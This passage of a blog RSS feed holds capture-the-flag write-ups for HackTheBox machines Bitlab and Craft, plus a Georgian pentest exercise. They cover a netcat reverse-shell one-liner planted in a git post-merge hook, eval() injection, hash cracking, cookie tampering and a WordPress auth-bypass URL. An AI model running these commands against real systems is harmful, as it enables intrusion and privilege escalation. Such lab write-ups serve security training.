src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72c4c8244f5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bitlab — HackTheBox]]></title>
            <link>https://aleksikistauri.medium.com/bitlab-hackthebox-f9c361959c17?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9c361959c17</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[gitlab]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 11 Jan 2020 15:02:34 GMT</pubDate>
            <atom:updated>2020-01-11T15:02:34.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bitlab — HackTheBox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*7jnFjA5aTcmtH7Vmp6dcXA.png" /><figcaption><a href="https://www.hackthebox.eu/home/machines/profile/207">https://www.hackthebox.eu/home/machines/profile/207</a></figcaption></figure><p>This is a write-up on how I solved Bitlab from HacktheBox.</p><p><a href="http://hackthebox.eu/">Hack the Box</a> is an online platform to test and advance your skills in penetration testing and cybersecurity.</p><h3>about this box:</h3><p>Bitlab is a medium difficulty box. Bitlab was such a good and fun box because it demonstrated real-life setups and vulnerabilities not because of old versions but because of how boxes are setup (over permission-binaries, reconfigured or over-exposed network services, people sticking keys in places they really should not be, etc).</p><h3>Recon:</h3><p>Use Nmap to scan the target ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*kR5RRWiqYyD4MDfahQMiqQ.png" /></figure><blockquote><strong><em>nmap</em></strong><em> Network exploration tool and security / port scanner<br></em><strong><em>-sV </em></strong><em>(Version detection) <br></em><strong><em>-sC</em></strong><em> Performs a script scan using the default set of scripts.<br></em><strong><em>-o </em></strong><em>Output file.</em></blockquote><p>Only two ports are opened <strong>22</strong> and <strong>80</strong>. We have <strong>SSH</strong> on port <strong>22</strong> and Gitlab on port <strong>80</strong>.</p><p>Without directory enumeration with the Gobuster we already know that there is robots.txt which has some disallowed entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gv87TTiK5NLs66bbNrc3gA.png" /><figcaption><a href="https://gist.github.com/ls4cfk/6108e728798f1d82cf588578bd7f859f#file-robots-txt">https://gist.github.com/ls4cfk/6108e728798f1d82cf588578bd7f859f#file-robots-txt</a></figcaption></figure><p>If we look at the /help/ entry we will see bookmarks.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6d0FQUazeytbrbOfiV7N0A.png" /></figure><p>Which contains some elements, One of them contains obfuscated data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ifw7ZYAnnT331O7uDQR2w.png" /><figcaption><a href="https://gist.github.com/ls4cfk/6108e728798f1d82cf588578bd7f859f#file-bookmarks-html">https://gist.github.com/ls4cfk/6108e728798f1d82cf588578bd7f859f#file-bookmarks-html</a></figcaption></figure><p>After deobfuscation, we have a Username and Password.</p><blockquote>clave:11des0081x</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDhrmAKYDtsFcqrHuLBDHg.png" /></figure><p>And we are in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0oa1m-c-LxXZxDOuL5BxFQ.png" /></figure><p>After the login into Gitlab we know that we have 2 projects and snippets. and with user clave, we probably can edit index.php in Administrator/profile project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*koHzh_PHjYerjOs7DKDvJw.png" /></figure><h3>Okay, time to get the Reverse shell.</h3><p>Grab PHP reverse shell from Pentestermonkey — <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">reverse shell</a></p><p>Then, get the IP address with ifconfig tun0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*mbQD832HnHVvtVxhi0T7Ag.png" /></figure><p>After getting the IP address change the IP address in the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtm0QqOGociPu8vOAfk7eA.png" /></figure><p>And merge it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7p2cWS4ffZ4Eds-7xWjX3w.png" /></figure><p>After that, Set Netcat listener with:</p><blockquote>nc -nvlp 1234</blockquote><p>and to trigger the shell visit:</p><blockquote><a href="http://10.10.10.114/profile/index.php">http://10.10.10.114/profile/index.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_Rauxr0_99FjFLMfSQkPg.png" /><figcaption>And we are in!</figcaption></figure><p>We can execute git pull without root access with a www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*es5SLwdQAoUd4UmrvCoIWQ.png" /></figure><p>To get the reverse shell as root, all we need is to add bash reverse shell in .git/hooks/post-merge and after git pull, it will execute the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*bRqTrazulKfUqJ6cevxvIQ.png" /></figure><p>Let’s grab the profile(we can edit it as a clave) project on /tmp/</p><h3>Its all set.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUN5Z-VVkgobsYCtsZ0QCg.png" /></figure><h3>Let’s get the reverse shell as a root!</h3><blockquote>Add bash Shebang in .git/hooks/post-merge<br>echo “#!/bin/bash” &gt; .git/hooks/post-merge</blockquote><blockquote>Append reverse shell in .git/hooks/post-merge</blockquote><blockquote>echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.137 1235 &gt;/tmp/f” &gt;&gt; .git/hooks/post-merge</blockquote><blockquote>And give it execute permission</blockquote><blockquote>chmod +x .git/hooks/post-merge</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5lQN4ONYi0d2wMMrZqILA.png" /></figure><p>Set up the listener with Netcat:</p><p>nc -nvlp 1235</p><p>And run:</p><p>sudo git pull</p><p>Whoops. The repository is already up to date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtJqhJKFV6L0ErtvxRl8IQ.png" /></figure><p>To trigger it we need to make some change on the repository.</p><p>Edit README.md</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2nyLOZmb7o5Y3dhawdf2g.png" /></figure><p>And merge it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZR3CnAUfExp_nDvJfgvlcA.png" /></figure><p>Okay, now we can trigger it.</p><p>sudo git pull</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fat8I0x1qzdH8NqdFa6WGw.png" /></figure><p>And we are root without getting the user.</p><p><strong>¯\_(ツ)_/¯</strong></p><h3>let’s forgot about it and get the user from www-data.</h3><p>Remember snippets from Gitlab? let’s check it.</p><p>Bingo! we have one snippet with a database name, username, and password.</p><p>The snippet executes query which returns all information from profiles table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dipCN3xvcgeM8rBgHz3qXA.png" /></figure><p>I believe the simplest way to execute it is that change the index.php again (with the snippet) and just trigger it with browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JWIxdKJWM7H9amWsURSPg.png" /></figure><p>By itself, it won&#39;t give us any information from the query.</p><p>Simple googling and we already know how to show all the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZamPUITfXGHtj9e-VFpczg.png" /></figure><p>Commit, merge and open it with the browser.</p><blockquote><a href="http://10.10.10.114/profile/index.php"><em>http://10.10.10.114/profile/index.php</em></a></blockquote><p>Oh boy. We got the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*ZwFOSvH-r25NNn0IbsQNHg.png" /></figure><p>Huh? maybe the password is the whole text?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*ZLHpFgywrGf11KYRYk8ilA.png" /></figure><p>Okay SSH without decoding the value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*EbH6pkkS_OO-sXj4gjMqjw.png" /></figure><p>And we are in, We got the user clave.</p><h3>Some reverse-engineering</h3><p>We have RemoteConnection.exe in /home/clave/</p><p>let’s Download it with Netcat and do some reverse-engineering with OllyDbg.</p><p>Set up a listener on our machine with:</p><blockquote>nc -l -p 1234 &gt; RemoteConnection.exe</blockquote><p>and Send the file with:</p><blockquote>nc -w 3 10.10.15.137 &lt; RemoteConnection.exe</blockquote><p>And finally, check integrity with the md5sum command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zff8mvJuWoI5HVOxwpTvaQ.png" /></figure><p>We got the file.</p><p>Before debugging let’s run strings on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*MY3LBsuuBjV6Z9lWBKJuQg.png" /></figure><p>Mm, nothing really interesting. Maybe it does some SSH Connection? IDK.</p><h3>let’s see it with OllyDbg.</h3><blockquote>OllyDbg is an x86 debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces registers, recognizes procedures, API calls, switches, tables, constants and strings, as well as locates routines from object files and libraries. — <a href="http://www.ollydbg.de/">http://www.ollydbg.de/</a></blockquote><p>So, it does some comparison and after that, it (if it matches) opens the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*x57gdG5Bzq4foAmiIKfUfA.png" /></figure><p>Open it with OllyDbg and set the breakpoint on JNZ SHORT 00331662</p><blockquote>JNZ is jump condition.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqEwR46PFTcgBbgGRltD_g.png" /></figure><p>And run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*TK4E-V-tTM6nQXkvybKfvg.png" /></figure><p>We have the command in ESI Registry which contains root password.</p><p>And we are root, <strong>AGAIN</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*p80j7ePOP1iXG7YqNaH20w.png" /></figure><p>I hope you enjoyed!</p><p>Follow me for future posts.</p><p>Twitter — <a href="https://twitter.com/ls4cfk">https://twitter.com/ls4cfk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9c361959c17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Craft — hackthebox]]></title>
            <link>https://aleksikistauri.medium.com/craft-hackthebox-fd1dd7842586?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd1dd7842586</guid>
            <category><![CDATA[craft]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 04 Jan 2020 15:40:37 GMT</pubDate>
            <atom:updated>2020-01-04T15:40:37.936Z</atom:updated>
            <content:encoded><![CDATA[<h3>Craft — HackTheBox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*hkyydqOLVEybt-rUpz3S4w.png" /></figure><p>This is a write-up on how I solved craft from HacktheBox.</p><p><a href="http://hackthebox.eu/">Hack the Box</a> is an online platform to test and advance your skills in penetration testing and cybersecurity.</p><h3>About this box:</h3><p>One of my favorite boxes from HackTheBox, very real-world applicable. There are lots of steps, but it’s very straightforward and you probably have already found your next step before you know how to use it, we will see a lot of common mistakes, this one really forces you to understand all the pieces of the web-app it is running in order to get user. So it feels very real.</p><p>Actually, Craft was my first Medium level box.</p><h3>Recon:</h3><p>Use Nmap to scan the target ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-jspoUOY6Qjo6dHZcUSGg.png" /></figure><blockquote><strong>nmap</strong> Network exploration tool and security / port scanner<br><strong>-sV </strong>(Version detection) <br><strong>-sC</strong> Performs a script scan using the default set of scripts.</blockquote><p>Only two ports are opened 22 and 443. We can directly access to <a href="https://10.10.10.110/">https://10.10.10.110</a> and see what we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FcctlriPFrdSfZebLMmSKg.png" /></figure><p>So, we got a simple page, if we navigate to the source we get two URL.</p><pre>https://api.craft.htb/api/<br>https://gogs.craft.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LhX-gzFJRjPUrvTMzAV3Xg.png" /></figure><p>To access these URLs we need to add them in the host file.</p><p>Open hosts file with your favorite editor and add the IP address and URLs:</p><pre>sudo vim /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*4W2BrGIzQBGOqBJtPjid8Q.png" /></figure><p>We have craft API:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*412bo93DszQhZLPOxin44Q.png" /></figure><p>And also we have “A painless self-hosted Git service.” — <a href="https://gogs.io/">GOGS</a>, where craft-API source code is hosted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBCr2Z7KLsWZIXTUYL8wDw.png" /></figure><p>And we got a flask based web application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*IyCTfAPcROe23vC4jrf59A.png" /></figure><h3>Let’s dive into code</h3><p>If we look at API modules, we will see ‘eval’ function in</p><pre>craft_api/api/brew/endpoints/brew.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMgu3zS-YZ-2DFwUmaIYUQ.png" /></figure><p>Eval is a very dangerous function, we can use it to <a href="http://vipulchaskar.blogspot.com/2012/10/exploiting-eval-function-in-python.html">execute System command</a>.</p><p>However, when a user is able to provide the input, eval() will execute anything that’s fed to it. A user could build a string where additional python code is executed, such as erasing all files on the system or spawning a reverse shell. Therefore, eval() should never be used to process user input.</p><p>We see that eval() is used to make sure the ‘abv’ value submitted by the user is less than 1.0.</p><p>It expects something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHPGt3dKAd_Zy3pHzfs2PA.png" /></figure><p>We can exploit this by sending the following POST request to the API, which would open a reverse shell to the device with IP 10.10.15.130 on Port 9999.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DopAYt2rL9te4TOZha4PEA.png" /></figure><p>BUT, this won’t spawn the reverse shell, To trigger the eval function, we need to send an authorized request on brew endpoint.</p><h3>Get reverse shell</h3><p>For authorization, we need the username and password. Random/Default one does not work. Let&#39;s continue looking at the Gogs repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwBl_Lo5P3MmUPYX1uBb7g.png" /></figure><p>If we look at the commit history, we will see that Dinesh has no idea about cyber hygiene. he left username and password in the history:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nres3klQy2Jsrp1tIy837w.png" /></figure><p>Let’s generate token and send an authorized request on the API:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSWQfXQ8fnP_IeIyAG4AbA.png" /><figcaption><a href="https://gist.github.com/ls4cfk/ab6c1115f3f3da247b65041e93771486#file-exploit-py">https://gist.github.com/ls4cfk/ab6c1115f3f3da247b65041e93771486#file-exploit-py</a></figcaption></figure><p>First set up a listener on port 9999:</p><pre>nc -nvlp 9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KMx_MSim40-vPUC1seB4Mg.png" /></figure><p>And run our python script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*loU8lFKf_CGJhWPg1mJ3PQ.png" /></figure><p>We got the shell!</p><p>Wait a sec! we are root? Where is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9CnwxFuK6DA_M3GbAuO_Q.png" /></figure><p>We are in jail! It’s a docker container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TnB8FxJ2fBZaFCAIcAuUCA.png" /></figure><p>Okay, let&#39;s look at what we got.</p><p>We have the same repository but the difference is that we got credentials of the MySQL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWtFiFyADeaE9T1KCX7uaQ.png" /></figure><p>From database/models.py we know that there is 2 table in our database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AzAbQynb3A6USXsUYJ-4Zg.png" /></figure><p>We can modify dbtest.py code and dump all the content from the “user” table</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Un__E80BmRuts1LK3N0GIw.png" /></figure><p>Change SQL query to:</p><pre>sql = &quot;SELECT * FROM `user`&quot;</pre><p>And to get all row:</p><pre>result = cursor.fetchone() <br><strong>  =&gt;<br></strong>result = cursor.fetchall()</pre><p>We get new credentials!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WfQEpeMx_nX7oMQcjA9mrw.png" /></figure><p>Use those credentials to log in on Gogs, Ebachman’s credentials do not work but we can log in as a Gilfoyle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Klj1o54STmK1u6f9y6ZhA.png" /></figure><p>Oh man, Gilfoyle has a secret repository that contains a .ssh folder. Why him? he is my idol! c’mon… it should be Denish 🤣</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lofhUd5kFc6wOXxfjfOzYg.png" /></figure><p>We have a public and private key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwprPCamCvs46E65d56yRA.png" /></figure><p>Okay, grab id_rsa and ssh via Gilfoyle’s account:</p><pre>ssh -i id_rsa gilfoyle@10.10.10.110</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QoTDsEEyahUTHMTHTwxHsQ.png" /></figure><p>Oh crap, it needs the passphrase. I tried to crack it with John but it took me a while and realized that it can be the password of Gilfoyle’s account.</p><blockquote>Use ‘ZEU3N8WNM2rh4T’ as passphrase and we are in!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*toQLazmPkh6ipfIw5wcnCw.png" /></figure><p>Okay, we can read user.txt and submit it for 15 points:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*OMTjZx9WoS39HIUTbcvLnA.png" /></figure><h3>Privilege escalation</h3><p>From the secret repository, we know that we have vault on our box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5O8l8fWZ0t7Pnny-tEXIg.png" /></figure><blockquote><strong>Vault</strong> is a tool for securely accessing secrets. A secret is anything that you want to tightly control access to, such as API keys, passwords, SSH keys, or certificates. <strong>Vault</strong> provides a unified interface to any secret while providing tight access control and recording a detailed audit log.</blockquote><blockquote>— <a href="https://www.vaultproject.io/docs/what-is-vault/index.html">https://www.vaultproject.io</a></blockquote><p>In the vault directory, we also have secrets.sh file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YM-UhT2aO8roW5TezmodtA.png" /></figure><p>It appears as though he’s running vault as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLuk4GxO-otACGLYBuijdA.png" /></figure><p>With the following command, we can generate OTP(one-time password) for SSH.</p><pre>vault write ssh/creds/root_otp ip=10.10.10.110</pre><p>And we are root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9DN-IbEvFWlBKDn-XAm8Q.png" /></figure><p>It was my first writeup about HackThebox, I hope you enjoyed!</p><p>Feedback is welcome.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*hTnIRaCf103wKz1rU1-SUw.png" /></figure><h3>References</h3><p>1. http://vipulchaskar.blogspot.com/2012/10/exploiting-eval-function-in-python.html<br>2. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet/<br>3. <a href="https://www.vaultproject.io/docs/commands/ssh.html">https://www.vaultproject.io/docs/commands/ssh.html</a></p><p>4. <a href="https://carbon.now.sh/">https://carbon.now.sh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd1dd7842586" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pentest: Gunmarket]]></title>
            <link>https://medium.com/ka-ge/pentest-gunmarket-16ab7a934d4e?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/16ab7a934d4e</guid>
            <category><![CDATA[cybercube]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 24 Aug 2019 17:13:10 GMT</pubDate>
            <atom:updated>2020-04-24T08:45:21.039Z</atom:updated>
            <content:encoded><![CDATA[<p>გამარჯობა, დღეს განვიხილავ კიბერ ოლიმპიადის მორიგი კატეგორიის <strong>Pentest</strong>-ის ერთ-ერთ სავარჯიშოს, <strong>Gunmarket</strong>-ს და ვეცდები, თითოეული ნაბიჯი დეტალურად ავხსნა.</p><p>უკვე განხილული კატეგორიები თუ გაინტერესებს, შეგიძლია გაეცნოთ:</p><blockquote><strong><em>Pcap Analysis</em></strong><em> — </em><a href="https://bit.ly/2M9L7f0"><em>https://bit.ly/2M9L7f0</em></a></blockquote><blockquote><strong><em>რა არის Buffer Overflow ?</em></strong><em>- </em><a href="https://bit.ly/2GZbNLr"><em>https://bit.ly/2GZbNLr</em></a></blockquote><blockquote><strong>Log analysis </strong>— <a href="https://bit.ly/2HntEMc">https://bit.ly/2HntEMc</a></blockquote><p>აღნიშნულ დავალებაში განვიხილავთ ისეთ თემებს, როგორებიცაა:</p><ul><li>პორტების სკანირება</li><li><strong>Salted</strong> პაროლების გატეხვა <strong>JohnTheRipper</strong> ის საშუალებით.</li><li>ცუდი <a href="https://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work"><strong>cookie based authentication</strong></a>- ის მაგალითს</li><li>დირექტორიების ენუმერაციას</li><li><strong>WPScan</strong> ის გამოყენება და მისი დახმარებით ავტორიზაციაზე გვერდის ავლა.</li><li><strong>Webshell</strong></li></ul><p>კიბერ ოლიმპიადაზე გამოყენებული სავარჯიშოები შეგიძლიათ <a href="https://cyber-lab.tech/geo/challenges"><strong>cyber-lab</strong></a> — ზე იხილოთ.</p><p>მაშ ასე, ამოცანის პირობა შემდეგია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*98M9EnXdlkwxUwRSLLgKKw.png" /></figure><p>მოცემული გვაქვს ორი კითხვა, რომლებიც 2 გასაღების პოვნას გვავალებს.</p><p>მოდი დავიწყოთ პირველი გასაღების ძებნა.</p><blockquote><strong>nmap -sC -sV -oA nmap/gunmarket 185.212.254.63</strong></blockquote><ul><li>-<strong>sC —</strong> დეფაულტ სკრიპტებისთვის.</li><li><strong>-sV —</strong> ვერსიების ენუმერაციისთვის.</li><li><strong>-oA nmap/gunmarket —</strong> აუთფუთის ფაილში ჩასაწერად.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8XEEFXm7GPsk5nGIRN9HQ.png" /></figure><p>გავიგეთ რომ საიტზე ღიაა პორტი <strong>80</strong>, მოდი გავხსნათ ის ვნახოთ რა გვაქვს მოცემული:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cFO-kHnbs4B5LHQ0HOpFxA.png" /></figure><p>მოცემულია მხოლოდ მარკეტის სურათი, სორსშიც საინტერესო არაფერია:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*_WoLo8SKda6rP1cWOu6uGg.png" /></figure><h3>გადავიდეთ დირექტორიების ენუმირაციაზე</h3><p>ენუმირაციისთვის გამოვიყენოთ dirb-ი</p><blockquote><strong>dirb</strong> <a href="http://185.212.254.63/">http://185.212.254.63</a></blockquote><blockquote><strong>P.S.</strong> Ip თქვენ შემთხვევაში სავარაუდოთ სხვა იქნება.</blockquote><p><strong>dirb</strong>-მა რამდენიმე საინტერესო რამ იპოვა, პირველი — ეს არის ფოლდერი <strong>/wp</strong>, ხოლო მეორე <strong>/.bash_history</strong> ფაილი, რომელმაც სავარაუდოთ საინტერესო ინფორმაცია უნდა მოგვცემს.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*keU_QrpsgywBP3cAsHGzVQ.png" /></figure><p>/<strong>wp</strong> დირქტორიაზე წვდომა არ გვაქვს:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exsoqwaUciNUT5-Z53Itjw.png" /></figure><p>ხოლო <strong>/.bash_history</strong> — ის ნახვა თავისუფლად შეგვიძლია.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_fQ_CG8LjgKDjtkTggqHw.png" /></figure><p>მასში ჩახედვისას საინტერესო ინფორმაციას ვგებულობთ:</p><ul><li>დირექტორია <strong>/ctf/admin</strong></li><li>ადმინის იუზერნეიმი და პაროლი(ჰეშირებული).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ev366r_IXUb1nz5McPGsQQ.png" /></figure><p><strong>/ctf/admin</strong> დირექტორიაზე გადასვლისას გვთხოვს იუზერნეიმსა და პაროლს.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDZsO-z9VWARVAzNT2roRA.png" /></figure><p>იუზერნეიმი უკვე ვიცით, რომ <strong>admin</strong>-ია, პაროლის გასაგებად კი <strong>JohnTheRipper</strong>-ი გამოვიყენოთ.</p><p>პაროლის გასატეხად <strong>john</strong>-თან ერთად დაგვჭირდება ვორდლისტი, ამ შემთხვევაში გამოვიყენებ <strong>rockyou</strong>-ის, რომლის ჩაწერაც აღნიშნული ლინკიდან შეგიძლიათ — <a href="https://github.com/brannondorsey/naive-hashcat/releases/tag/data"><strong>rockyou</strong></a><strong>.</strong></p><h3>გავტეხოთ პაროლი</h3><blockquote>რაიმე ფაილში ჩაწერეთ პაროლის ჰეში, ჩემ შემთხვევაში <strong>gunmarket_pass</strong> — ში მოვათავსე ის.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*gP_YxbiWgF0bddVyFIHRmw.png" /><figcaption><strong>echo ‘admin:$apr1$T9QLutEh$9Y192r5I3TI52/bsdksIy.’ &gt; gunmarket_pass</strong></figcaption></figure><blockquote><strong>john — wordlist=rockyou.txt gunmarket_pass</strong></blockquote><blockquote>სადაც <strong>rockyou.txt</strong> თქვენი პაროლების სიის მისამართია, ხოლო <strong>gunmarket_pass</strong>- იმ ფაილის მისამართი სადაც პაროლის ჰეშია მოთავსებული.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*mX9qct54dYqsjj7T50JYvQ.png" /></figure><p>გავიგეთ ადმინის პაროლიც — <strong>admin123.</strong></p><p>შეგვიძლია დავუბრუნდეთ <strong>/ctf/admin/</strong> დირექტორიას, სადაც <strong>Cookie Monster</strong>-ის ფოტო გვხდება.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtZO4G5iYEfJnLWd8z-MMw.png" /></figure><p>ჰინთი უკვე გასაგებია, დროა ქუქებს ჩავხედოთ:</p><p>ქუქებში ერთი ველი გვაქვს მოცემული, სახელად <strong>username</strong> ხოლო მისი მნიშვნელობა, ჩვენ შემთხვევაში <strong>guest_user</strong>-ია.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMB37uiQ9BzamhHU8janqA.png" /></figure><p>მოდი შევცვალოთ <strong>guest_user</strong> — <strong>admin</strong>-ით და ვნახოთ რამოხდება:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkHCi9dhA8kIELDjGjQtUw.png" /></figure><p>მივიღეთ პირველი გასაღები და ჰინთი მეორე გასაღების საძიებლად.</p><p><strong>/wp/wordpress</strong>-ზე გვხდება ვორდპრესის საიტი, რომელზეც არაფერი არ არის განთავსებული, არ გვაძლევს არანაირ მინიშნებას.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_n1Zj1UarphnN6Mtkx9rwA.png" /></figure><p>მოდი ვცადოთ <strong>WPScan</strong> და ვნახოთ მოგვცემს თუ არა რაიმე შედეგს.</p><blockquote><strong>WPScan</strong> არის ხელსაწყო <strong>Wordpress</strong> ის საიტების მოწყვლადობების საძიებლად.</blockquote><p><strong>WPScan</strong>-მა ოთხი საინტერესო მოწყვლადობა იპოვა, პირველის საშუალებით, როგორც ის გვეუბნება შეგვიძლია ავტორიზაციაზე გვერდის ავლა.</p><p>მოდი ვცადოთ მისი გამოყენება.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*safXuxmrNmqE5iw6boqwbA.png" /></figure><p>როგორც <a href="https://www.exploit-db.com/exploits/43117"><strong>exploit-db</strong></a> დან ვგებულობთ, თუ საიტზე დეფაულტ იუზერი <strong>admin</strong>-ი გვყავს, შეგვიძლია მისი ანგარიშის გამოყენება, და საიტზე ავტორიზაციის გარეშე შესვლა ლინკში — <strong>?up_auto_log=true</strong> — ის მიმატებით.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OdGW0UoBe3h0VlCDW46vig.png" /></figure><p>გადავიდეთ ლინკზე —<strong> </strong><a href="http://185.212.254.63/wp/wordpress/?up_auto_log=true"><strong>http://185.212.254.63/wp/wordpress/?up_auto_log=true</strong></a></p><p>იმუშავა აღნიშნულმა ექსპლოიტმა, საიტის სამართავ პანელზე წვდომა მოვიპოვეთ.</p><figure><img alt="" 